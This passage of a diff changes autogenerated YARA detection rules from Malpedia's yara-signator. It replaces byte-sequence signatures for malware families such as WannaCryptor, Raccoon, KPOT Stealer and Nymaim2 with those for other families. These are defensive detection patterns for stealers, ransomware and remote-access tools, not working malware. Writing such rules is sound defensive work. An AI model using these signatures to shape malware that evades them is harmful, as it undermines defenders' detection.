5f 5e } + $sequence_9 = { 59 5b 5a c9 c20c00 55 8bec } + $sequence_10 = { 8bec 83c4f8 53 56 57 51 52 } + $sequence_11 = { 0bc0 7454 394508 734f ff7510 } + $sequence_12 = { 33d2 33c9 8a0431 0ac0 741f } + $sequence_13 = { 3b45fc 773b 8b750c 8b7d10 037508 8bde } + $sequence_14 = { 741f 3a0439 7514 41 3b4df8 72ee 8bc2 } + $sequence_15 = { 57 56 8b36 56 8b33 33c0 48 } condition: - 7 of them and filesize < 626688 + 7 of them and filesize < 262144 } -rule MALPEDIA_Win_Dircrypt_Auto : FILE +rule MALPEDIA_Win_Supernova_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "c9519422-995e-5f4b-95b5-a3519aa7df7b" + id = "b0d23010-e706-5a6c-87f1-b10df99d0461" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.dircrypt" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.dircrypt_auto.yar#L1-L115" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.supernova" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.supernova_auto.yar#L1-L116" license_url = "N/A" - logic_hash = "97e8d29d80833d84634b7be7e527266210c621226e2be34c9aa4ca8405333cc4" + logic_hash = "3eb1ef4641d5ab988a67e433660b28cc5e0a8f3de783c5473bb118a467afaed4" score = 75 quality = 75 tags = "FILE" @@ -107778,32 +108177,32 @@ rule MALPEDIA_Win_Dircrypt_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 50 e8???????? 6a00 e8???????? 05d6070000 50 } - $sequence_1 = { e8???????? 03f0 8d45dc 50 e8???????? } - $sequence_2 = { e8???????? 05d3070000 50 6a01 } - $sequence_3 = { 833d????????00 751a 68???????? e8???????? 05d2070000 50 e8???????? } - $sequence_4 = { 751a 68???????? e8???????? 05d2070000 50 } - $sequence_5 = { 833d????????00 7514 c705????????01000000 e8???????? } - $sequence_6 = { c705????????01000000 e8???????? e8???????? 833d????????00 7514 } - $sequence_7 = { 6801000080 e8???????? e8???????? e8???????? e8???????? } - $sequence_8 = { 05d2070000 50 e8???????? a3???????? 6a13 68???????? } - $sequence_9 = { 833d????????00 7536 c705????????01000000 e8???????? } + $sequence_0 = { 1107 17 91 1f50 3339 1107 } + $sequence_1 = { 1308 03 6f0b00000a 6f1c00000a 1107 16 } + $sequence_2 = { 26 25 6f2800000a 72b1010070 } + $sequence_3 = { 19 91 1f47 3329 } + $sequence_4 = { 3341 1107 17 91 1f50 3339 } + $sequence_5 = { 1f0a 9d 6f0a00000a 1304 03 6f0b00000a } + $sequence_6 = { de00 03 6f0800000a 6f0e00000a } + $sequence_7 = { 3309 72e3000070 1308 2b5a 1107 } + $sequence_8 = { 16 91 2089000000 3341 } + $sequence_9 = { 7e01000004 7211010070 1109 6f2200000a de00 03 6f0b00000a } condition: - 7 of them and filesize < 671744 + 7 of them and filesize < 50176 } -rule MALPEDIA_Win_Sepulcher_Auto : FILE +rule MALPEDIA_Win_Atlas_Agent_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "802dcce7-e6b4-5d4a-a31c-1fbaf1e1892c" + id = "12437137-122e-5647-b916-3934d94f17a9" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.sepulcher" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.sepulcher_auto.yar#L1-L121" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.atlas_agent" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.atlas_agent_auto.yar#L1-L144" license_url = "N/A" - logic_hash = "5e68d8ea35ea7e66861512d33b8203bcd0ab7d3eb1395ac8fae23afff0a1b2a5" + logic_hash = "bddbc52b224832b6d1899d8a7f9c2269559750eebdc1985f06284557268eff24" score = 75 quality = 75 tags = "FILE" @@ -107817,32 +108216,36 @@ rule MALPEDIA_Win_Sepulcher_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 6828080000 33ff 8d85ccf7ffff 57 50 } - $sequence_1 = { 0fb77124 8b11 668b450c 668944b202 } - $sequence_2 = { 56 53 e8???????? 85c0 743d 6a00 } - $sequence_3 = { e8???????? 894608 8b857cffffff 6a3c 894620 8d459c 6a00 } - $sequence_4 = { 668984247e6e0000 0f1184241c6e0000 c784242c6e000006000000 c78424306e000009000000 } - $sequence_5 = { 668975dc 668975e2 668975e4 66c745ac756d c645ae62 8855af } - $sequence_6 = { 88043e 46 3c3e 752f 83fe05 7235 } - $sequence_7 = { 6a00 8d4df8 51 6a01 8d4dff 51 50 } - $sequence_8 = { 8b048550de0110 f644082801 7406 8b440818 5d c3 e8???????? } - $sequence_9 = { e8???????? 59 8d8c24a0250000 e8???????? 68f2030000 } + $sequence_0 = { 0fb60c0a 83e13c c1f902 03c1 } + $sequence_1 = { 8bc1 99 b903000000 f7f9 c1e002 } + $sequence_2 = { 8a80c0ba0410 84c0 7f1f 8bce } + $sequence_3 = { 8a55fe 8810 8d4508 50 } + $sequence_4 = { 8a55f3 8855f1 0fb645f1 85c0 746c 68???????? 8d4dd8 } + $sequence_5 = { 8a5de3 8b0495e0b50410 885c012e 8b0495e0b50410 } + $sequence_6 = { 57 4883ec20 8bfa 4c8d0d517f0100 } + $sequence_7 = { 57 4883ec20 488d1daf180300 488d3da8180300 eb12 488b03 } + $sequence_8 = { 57 4883ec20 8bda 4c8d0d35810100 } + $sequence_9 = { 57 4883ec20 8bf9 e8???????? 4885c0 7509 488d0533ed0200 } + $sequence_10 = { 8a55ff 8810 8b45ec 83c001 } + $sequence_11 = { 57 4883ec20 4c8bda 488d2d5737fdff } + $sequence_12 = { 8a55ff 8811 8b45f4 50 e8???????? 83c404 8945f0 } + $sequence_13 = { 57 4883ec20 488d1ddb180300 488d3dd4180300 } condition: - 7 of them and filesize < 279552 + 7 of them and filesize < 857088 } -rule MALPEDIA_Win_Daxin_Auto : FILE +rule MALPEDIA_Win_Nymaim2_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "87cbb543-e190-5544-9083-2d59abd8b683" + id = "9d42ecfd-461f-543d-9a58-ba44ed0f874f" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.daxin" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.daxin_auto.yar#L1-L148" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.nymaim2" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.nymaim2_auto.yar#L1-L133" license_url = "N/A" - logic_hash = "e656f3948a2ac7b99eaa279f9e6a2040cdd5d22a79f30ee80aef3c1f7f763afa" + logic_hash = "e64916e16c04fec69a155375e17360cf8ab01eed1bdb9780112b275d8e2ffaa7" score = 75 quality = 75 tags = "FILE" @@ -107856,37 +108259,32 @@ rule MALPEDIA_Win_Daxin_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 2bc2 d1f8 99 f7f9 } - $sequence_1 = { 418b5b3c 418b6b38 e8???????? 85db } - $sequence_2 = { 0fb7c0 0bc8 2b8bd0000000 85c9 0f8eec000000 } - $sequence_3 = { 488bf0 4885c0 0f8467ffffff 33d2 41b8e0000000 } - $sequence_4 = { 66f7d8 1bc0 f7d8 83c003 eb15 } - $sequence_5 = { 4533c0 498bcb e8???????? 668bd8 6641895b0a } - $sequence_6 = { 740a 8b02 23c1 23cf } - $sequence_7 = { 0f8cd8000000 ff15???????? 4c8b4f28 4533c0 884708 } - $sequence_8 = { b930000000 33c0 8bfd 66c74664ffff } - $sequence_9 = { 57 8908 894804 894808 8b15???????? } - $sequence_10 = { b930000000 33c0 8bfb 33f6 } - $sequence_11 = { 0f85d8000000 668b4702 663b442412 0f85c9000000 668b4f04 } - $sequence_12 = { 8b442412 668b4c2414 66894c2412 6689442414 } - $sequence_13 = { 03c7 894e04 8b4e1c 3bc1 c7462400000000 } - $sequence_14 = { 0bc1 8d0440 c1e003 8b88c4380f00 85c9 } + $sequence_0 = { 8bf9 be???????? 56 8d5f14 e8???????? 59 } + $sequence_1 = { 33c0 eb07 8b07 8b4004 03c7 83480c04 8b07 } + $sequence_2 = { ff5008 51 8d4604 8bcc 896508 50 e8???????? } + $sequence_3 = { 5b c1f805 d3e3 8d0486 0918 8b45e8 8b5df0 } + $sequence_4 = { ff4008 8b06 397808 75c2 ff400c ebbd 8b5620 } + $sequence_5 = { 885dfc e8???????? 8d4e24 e8???????? 83ec18 8bcc 8965ec } + $sequence_6 = { 8d45e4 53 50 ff15???????? 6a01 8d4de4 c645fc02 } + $sequence_7 = { 51 56 8bf1 8975f0 c706???????? 8d4e64 c745fc04000000 } + $sequence_8 = { 8b00 23c7 3b02 894514 7d58 8b5508 8d1482 } + $sequence_9 = { e8???????? 50 8d4d08 e8???????? 85c0 0f9dc3 8d4d9c } condition: - 7 of them and filesize < 3475456 + 7 of them and filesize < 753664 } -rule MALPEDIA_Win_Gup_Proxy_Auto : FILE +rule MALPEDIA_Win_Wannacryptor_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "bddfea2f-5980-50a2-824f-c8c992e61d4b" + id = "01aa6919-6be4-5745-a8e3-92d4cccf9097" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.gup_proxy" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.gup_proxy_auto.yar#L1-L121" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.wannacryptor" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.wannacryptor_auto.yar#L1-L120" license_url = "N/A" - logic_hash = "a31779681620c829a24a1dd7ede13a209b88a3ec71308cbcd7be1ef7e190536a" + logic_hash = "7ff7fdcfef87dab5f03024d09ebe3e1d6a9751642113edcd42b1cf950ced5962" score = 75 quality = 75 tags = "FILE" @@ -107900,32 +108298,32 @@ rule MALPEDIA_Win_Gup_Proxy_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 660f6f05???????? f30f7f854cfaffff 660f6f05???????? f30f7f855cfaffff 660f6f05???????? } - $sequence_1 = { 8bc1 8b4df8 5e 33cd 5b e8???????? 8be5 } - $sequence_2 = { 8b4dfc f7d2 5f 5e 33cd 8bc2 5b } - $sequence_3 = { 8b5d08 8d85e0f5ffff 56 57 8bf1 8995dcf5ffff } - $sequence_4 = { eb83 890cb510974100 013d???????? 8b04b510974100 0500080000 3bc8 } - $sequence_5 = { 8bce e8???????? 6a04 8d8588feffff c78588feffffc22eab48 50 } - $sequence_6 = { c7461000000000 7204 8b06 eb02 8bc6 c60000 837e1410 } - $sequence_7 = { f30f7f45e8 6a50 8bf9 668945e8 } - $sequence_8 = { 88858afeffff 8bc3 c1e808 888589feffff 8d8588feffff } - $sequence_9 = { f30f7f853cffffff 660f6f05???????? f30f7f854cffffff 660f6f05???????? } + $sequence_0 = { e8???????? 85c0 7403 8b4004 50 8b442428 } + $sequence_1 = { c744243802000000 e8???????? 55 8d4c2420 b303 50 51 } + $sequence_2 = { 8d7e44 85c0 755f 8b17 8d4c241c 6a01 51 } + $sequence_3 = { 7d0d 8b5168 8b7960 03d7 } + $sequence_4 = { c644243404 e8???????? 8d4c241c 885c2430 } + $sequence_5 = { 8d542418 c744243005000000 8b41f8 8b4e74 2bc1 } + $sequence_6 = { 8a02 8bcf 88442418 e8???????? 8b542410 c744243000000000 } + $sequence_7 = { c7442430ffffffff e8???????? e9???????? 85c0 754b } + $sequence_8 = { 88442418 e8???????? 8b542410 c744243000000000 52 50 8d442420 } + $sequence_9 = { 89442418 0f8c42ffffff 8b442438 5f 85c0 } condition: - 7 of them and filesize < 247808 + 7 of them and filesize < 540672 } -rule MALPEDIA_Win_Alice_Atm_Auto : FILE +rule MALPEDIA_Win_Kpot_Stealer_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "9cfa3195-b227-51b9-a69c-03c48bd5ea46" + id = "2d1c2c52-a27f-577a-ba10-9c57d7ba8b38" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.alice_atm" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.alice_atm_auto.yar#L1-L119" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.kpot_stealer" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.kpot_stealer_auto.yar#L1-L115" license_url = "N/A" - logic_hash = "0ef9f8a95dbcda5f31fa4765cc9c970db5415f8125e940fffc88bdbab240fbed" + logic_hash = "c16845199544fc6722c4e2fc31a24b6089435ba431e0486f2fdbb3a3dff70b56" score = 75 quality = 75 tags = "FILE" @@ -107939,32 +108337,32 @@ rule MALPEDIA_Win_Alice_Atm_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 682e010000 ff7110 e8???????? 8bd8 } - $sequence_1 = { 0bc0 0f841b010000 b910000000 33d2 f7f1 0fb7f8 } - $sequence_2 = { 0f85b7000000 e8???????? ff7508 8f05???????? 68ea030000 } - $sequence_3 = { 53 e8???????? e9???????? 817d0c11010000 0f858b000000 8b4d10 6681f9d507 } - $sequence_4 = { 7434 8d75d4 6a28 56 } - $sequence_5 = { 68ec030000 ff7508 e8???????? 8bf0 } - $sequence_6 = { 55 8bec 81c4f4fdffff 53 56 57 33ff } - $sequence_7 = { 33c0 8945fc 8b5d08 0bdb 7414 6a00 6a00 } - $sequence_8 = { 6a00 68e8030000 ff35???????? e8???????? } - $sequence_9 = { f7f1 0fb7c0 8945f8 8b7d10 83ff00 0f86c2000000 3b7df8 } + $sequence_0 = { 0bce 0fb67007 0fb64006 c1e608 } + $sequence_1 = { 8b4608 8b0e ff3481 ff15???????? 8b4608 8b4e04 } + $sequence_2 = { d1e8 8bc8 81e100000007 8bd8 } + $sequence_3 = { 8a02 3c2d 7506 33ff 47 42 eb07 } + $sequence_4 = { 59 8d4df8 51 ff75f8 } + $sequence_5 = { 57 8bf8 8b4518 0fb67005 } + $sequence_6 = { 0bd1 8bcf c1e11b d1ef } + $sequence_7 = { 8bd6 e8???????? c6043700 8bc7 5f } + $sequence_8 = { 8a07 84c0 7417 8a0c3a 47 3ac8 74f2 } + $sequence_9 = { 53 56 57 8bf8 8b4518 0fb67005 } condition: - 7 of them and filesize < 49152 + 7 of them and filesize < 219136 } -rule MALPEDIA_Win_Darkloader_Auto : FILE +rule MALPEDIA_Win_Asprox_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "ad9df5bd-cb17-5a57-841e-d7169dd29ac7" + id = "760d5ba5-eb2e-56fe-8b68-64c041182dd0" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.darkloader" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.darkloader_auto.yar#L1-L120" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.asprox" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.asprox_auto.yar#L1-L131" license_url = "N/A" - logic_hash = "0e3b5f14c9565dba5f89e209f471d5ea4bec46d1f1cc2d6a50fe986d74ec01f7" + logic_hash = "0433055da9e2395dd1bdc28ed8f399d8aecafba94a64506b61f0a5f3795ff961" score = 75 quality = 75 tags = "FILE" @@ -107978,32 +108376,32 @@ rule MALPEDIA_Win_Darkloader_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8365fc00 ff15???????? 59 85c0 b9???????? } - $sequence_1 = { 68???????? ffb7dc010000 8987d4010000 ffd6 } - $sequence_2 = { 83f9ff 75bb 8bb42424020000 8dbe10a10010 ff742418 e8???????? 59 } - $sequence_3 = { 8931 e8???????? 83c410 33c0 40 ebaf 83ec18 } - $sequence_4 = { 8b01 ff90d0000000 83f809 7555 } - $sequence_5 = { 68???????? eb38 8d042f 50 e8???????? } - $sequence_6 = { 56 57 e8???????? 8bd8 59 59 85ff } - $sequence_7 = { ffb7dc010000 894704 ffd6 68???????? } - $sequence_8 = { 6a08 8bf8 be???????? 59 8d442414 f3a5 } - $sequence_9 = { a3???????? 5e c3 55 8bec 81ec04040000 33c9 } + $sequence_0 = { 8955d4 eb05 e9???????? 8b45d4 898538ffffff c6459447 } + $sequence_1 = { e9???????? 8b03 83780400 0f84fe070000 8b10 0fb612 8b4b1c } + $sequence_2 = { 038cfe94c90000 0394fe98c90000 668945d0 c1e810 66894dd4 c1e910 668955d8 } + $sequence_3 = { c645f300 6800100000 6a00 a1???????? 50 ff15???????? 8945f8 } + $sequence_4 = { 49 7407 33c0 e9???????? 3bd3 0f858d000000 8b4e0c } + $sequence_5 = { e8???????? 83c414 8b55e8 8955f0 c745e400000000 6a10 8d45e4 } + $sequence_6 = { 895e04 40 eb20 8bc3 eb1c e8???????? } + $sequence_7 = { 52 8b45fc 50 ff15???????? 83c408 68???????? 8b4dfc } + $sequence_8 = { 51 8b952cffffff 52 ff15???????? 898558ffffff 8b8560ffffff 898570ffffff } + $sequence_9 = { 6a00 8b55e4 52 ff15???????? 8a45fb 8be5 } condition: - 7 of them and filesize < 124928 + 7 of them and filesize < 155648 } -rule MALPEDIA_Win_Krbanker_Auto : FILE +rule MALPEDIA_Win_Raccoon_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "d85e7258-981d-5cc6-a33a-cbcdd663368d" + id = "426735cd-205f-5856-956c-bf7b885a57ea" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.krbanker" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.krbanker_auto.yar#L1-L119" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.raccoon" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.raccoon_auto.yar#L1-L122" license_url = "N/A" - logic_hash = "e566b2d91c9e72b8d03a6b5c791e4e71a6dc723cd18d0207fd049c63356700fa" + logic_hash = "30039f1e9ada41f0fa18f5ba2d7fb988ae243b357b509d0986ea0785e88878da" score = 75 quality = 75 tags = "FILE" @@ -108017,32 +108415,32 @@ rule MALPEDIA_Win_Krbanker_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 895500 8b4104 894504 8b5108 895508 8b410c } - $sequence_1 = { 6a00 6a00 6801030080 6a00 6802000000 6805000080 } - $sequence_2 = { 23d0 8954244c eb08 c744244cffffffff 8d4c2424 } - $sequence_3 = { bb40010000 e8???????? 83c410 8945d0 ff75d0 ff75d4 } - $sequence_4 = { 8955e0 8d55d4 52 6a01 50 51 } - $sequence_5 = { e8???????? 47 4b 3bdd 0f8d5bffffff eb02 8bde } - $sequence_6 = { 75a4 dd442410 e8???????? 8ad8 } - $sequence_7 = { c3 8b4c2420 8b542404 8d442408 50 51 } - $sequence_8 = { 50 8b5dec 8b1b 85db 7409 } - $sequence_9 = { 0faffa 46 3bf0 76cf } + $sequence_0 = { 53 ff75f8 c745fcff070000 ff15???????? 85c0 7488 } + $sequence_1 = { e8???????? e9???????? 8d45f0 c645f001 51 50 } + $sequence_2 = { 7403 832700 8b5d14 33f6 83fb01 7507 } + $sequence_3 = { 394708 7417 684c0e0000 68???????? 68???????? } + $sequence_4 = { 51 8bc2 8945fc 56 8bf1 } + $sequence_5 = { 8d4dfc 51 8d4df8 c745ec02000000 51 } + $sequence_6 = { 56 57 e8???????? 83c414 ff75f4 ff15???????? } + $sequence_7 = { 8d45ec c706???????? 50 53 ff75e4 895dec ff15???????? } + $sequence_8 = { 8d55cc ff75cc 52 ff5024 807dcc00 6a04 58 } + $sequence_9 = { 8975e4 894df0 33c0 40 8945fc } condition: - 7 of them and filesize < 1826816 + 7 of them and filesize < 1212416 } -rule MALPEDIA_Win_Rhino_Auto : FILE +rule MALPEDIA_Win_Solarbot_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "301844bb-5a4f-5171-97e6-f16bb6b6ee32" + id = "05e274f3-e1a5-5d28-b9c3-6c8b8c413847" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.rhino" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.rhino_auto.yar#L1-L131" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.solarbot" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.solarbot_auto.yar#L1-L126" license_url = "N/A" - logic_hash = "5ce22b89951420015e2398779d8c31359ab3803912d8b24c1d8c37a7a67db86a" + logic_hash = "531287eb552516451607fb4943bd4268dc00786ea51d0ac858b62961b07eaa85" score = 75 quality = 75 tags = "FILE" @@ -108056,34 +108454,34 @@ rule MALPEDIA_Win_Rhino_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 3944240c 760a f71487 40 3b44240c 72f6 } - $sequence_1 = { 8bc7 c1c806 33c8 8b44242c 33442420 23c7 3344242c } - $sequence_2 = { 8d45d8 50 6a06 8bce e8???????? 6a00 6a01 } - $sequence_3 = { 03c1 8b4c2420 83d500 894114 8b470c f7e0 } - $sequence_4 = { 8d45d0 50 e8???????? e8???????? c20800 8b5114 } - $sequence_5 = { 83ec78 8d6c24fc a1???????? 33c5 894578 6a14 b8???????? } - $sequence_6 = { 53 53 6800000008 51 53 53 56 } - $sequence_7 = { 68???????? 50 e8???????? 83c40c 8365fc00 8bce 50 } - $sequence_8 = { 8b06 ff5048 85c0 0f849c000000 807c241006 0f8591000000 57 } - $sequence_9 = { 8b5528 0f1101 034c241c 836c242801 89442410 894c2414 758a } + $sequence_0 = { c745f800000000 6a00 8d55fc 52 89da 8b0a } + $sequence_1 = { 8945fc 8b7d14 8b4518 8945f4 8b451c c745ec00000000 6a00 } + $sequence_2 = { 8b55f8 01d0 50 8b55fc 8b45f8 01c2 52 } + $sequence_3 = { 8b85f8feffff 8b5020 0395f0feffff 89d8 c1e002 01c2 } + $sequence_4 = { 8b8524f8ffff 0fb610 83fa50 0f8598000000 83bd20f8ffff21 0f868b000000 } + $sequence_5 = { 89ca 8d1453 0fb712 85d2 7ff3 89c8 } + $sequence_6 = { 8945a8 e9???????? ff75a4 ff75e0 681a040000 } + $sequence_7 = { 0f8580020000 8b85d0fdffff 85c0 0f8472020000 c785e0fdffff00000000 bf00000000 be00000000 } + $sequence_8 = { 8945e0 eb2d 6a1c 8d45e4 50 } + $sequence_9 = { 50 e8???????? 89c3 53 e8???????? 8945f4 89f0 } condition: - 7 of them and filesize < 1288192 + 7 of them and filesize < 204800 } -rule MALPEDIA_Win_Matryoshka_Rat_Auto : FILE +rule MALPEDIA_Win_Rm3_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "e67f9b00-164c-59e2-9dc8-5dd2e0d5203f" + id = "ae32a8ae-4008-5a29-ba53-9431479c4978" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.matryoshka_rat" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.matryoshka_rat_auto.yar#L1-L142" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.rm3" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.rm3_auto.yar#L1-L393" license_url = "N/A" - logic_hash = "e984417b389a4155a102710aa04d6d8dad2d1f007db82c883ebc84c4c1b44825" + logic_hash = "04a502f8c76326d2d2ff87950393542f221575ef954be32116492ddddf4bc28b" score = 75 - quality = 75 + quality = 73 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" @@ -108095,36 +108493,62 @@ rule MALPEDIA_Win_Matryoshka_Rat_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { b037 c3 b073 c3 } - $sequence_1 = { c3 b06f c3 b063 c3 } - $sequence_2 = { 8b46fc 8947fc 49 75ed } - $sequence_3 = { 750a 488bcb e8???????? eb0f 488bd3 488d0df7520400 } - $sequence_4 = { 7509 bb99ffffff 85db 740d 488bcf } - $sequence_5 = { 8b4648 48 48 7446 48 } - $sequence_6 = { 750a 4883c310 0fba2f11 eb27 41b807000000 488d152bb50200 } - $sequence_7 = { 8b4704 8b3491 890491 8bd6 } - $sequence_8 = { 750a 443b774c 8d4399 0f45d8 450137 } - $sequence_9 = { 750a 4883c30a 0fba2f12 eb4a 41b808000000 488d153eb50200 } - $sequence_10 = { 8b4704 8bf1 33d1 81e6ff030000 } - $sequence_11 = { 8b4660 89471c 8d4670 894724 } - $sequence_12 = { 8b4664 034668 8b4e60 03ca } - $sequence_13 = { 7509 c7412400000002 eb4c 48394130 } + $sequence_0 = { 8b483c 03c8 0fb74106 8365f800 } + $sequence_1 = { 897104 8b4808 ff7004 034c240c 8b00 51 } + $sequence_2 = { 7303 8975f8 8b45f8 83c628 ff4dfc 85c0 7505 } + $sequence_3 = { 53 8945fc 0fb74114 56 57 8d740818 } + $sequence_4 = { 8b4508 3b460c 7247 8b7938 8b4608 8b513c } + $sequence_5 = { 56 57 8d740818 8b4508 3b460c 7247 } + $sequence_6 = { 8b460c 03c2 394508 7303 8975f8 8b45f8 } + $sequence_7 = { f7d2 23fa 3bf8 7609 8b413c 8d5418ff } + $sequence_8 = { 8bec 51 837d0804 53 56 6a57 } + $sequence_9 = { 8bf0 6a08 8d7e10 5a 8bc7 8d4df8 e8???????? } + $sequence_10 = { 56 57 8bd8 8bf9 8db5f0feffff 8bce 8d041b } + $sequence_11 = { 8bc6 e8???????? 56 ff7510 8d8df4feffff 51 ff7508 } + $sequence_12 = { 51 8365fc00 56 8d4508 50 6a08 } + $sequence_13 = { e8???????? ff7518 8d8578ffffff 50 50 8bc8 e8???????? } + $sequence_14 = { 8d856cfeffff ff750c 8d8de8fdffff 50 e8???????? ff7518 } + $sequence_15 = { 8bc6 e8???????? 6a58 6a00 56 e8???????? 83c40c } + $sequence_16 = { 4883ec30 488b05???????? 4c8ba42480000000 498bf1 4c8b90b0000000 } + $sequence_17 = { 4833d0 488bc2 48c1e81b 4833d0 488bc2 480fafc3 488901 } + $sequence_18 = { 4883ec50 418bf0 4c8b05???????? 498bf9 4d8b80c8000000 488bea 4c8d48d8 } + $sequence_19 = { 4c8d443b80 488d48b8 488d5098 e8???????? 85c0 0f84f0000000 8b4c2470 } + $sequence_20 = { 3c41 7204 3c5a 763e 3c61 7204 3c7a } + $sequence_21 = { ff15???????? 85c0 8bd8 0f8560020000 8a442431 3c02 } + $sequence_22 = { 4885c0 488bd8 742f 8d4f01 448bce } + $sequence_23 = { 488bc3 48c1e80c 4833d8 488bc3 48c1e019 4833d8 488bc3 } + $sequence_24 = { eb0a 8b45ec 83c410 5e 5f } + $sequence_25 = { 8945e8 7442 ebcf 8b45dc b931000000 8b15???????? } + $sequence_26 = { 83ec28 31c0 31c9 8945fc } + $sequence_27 = { e8???????? 8d0d84308702 31d2 8b75f0 89460c 890c24 } + $sequence_28 = { 8b4dec 89c2 83c201 89ce } + $sequence_29 = { 31c9 ba03000000 8d75f1 83ec0c } + $sequence_30 = { 8d95f1fbffff c785ecfbffff00000000 8db5ecfbffff 8b3d???????? 56 68ff030000 52 } + $sequence_31 = { 8995d8fbffff 89b5d4fbffff e8???????? 83c40c 8b85d4fbffff 50 e8???????? } + $sequence_32 = { 8b7138 891424 c744240400000000 89742408 8945dc e8???????? 8b45e0 } + $sequence_33 = { 894de0 0f84ca000000 8b45cc 8b08 8b55ec 035010 } + $sequence_34 = { 8b4048 8945b0 8b45b4 8b4040 8945ac } + $sequence_35 = { 51 ffd0 8b0d???????? 8b95e4fbffff } + $sequence_36 = { 8b8dccfbffff 51 8bb5e0fbffff 56 } + $sequence_37 = { 89442404 c744240800000000 8954240c 8b4590 894d80 ffd0 } + $sequence_38 = { 89cf 83c710 89957cffffff 898d78ffffff 89bd74ffffff 89b570ffffff } + $sequence_39 = { 890c24 c744240400000000 8955dc e8???????? 8d0d77318702 890424 894c2404 } condition: - 7 of them and filesize < 843776 + 7 of them and filesize < 221184 } -rule MALPEDIA_Win_Anatova_Ransom_Auto : FILE +rule MALPEDIA_Win_Quiterat_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = 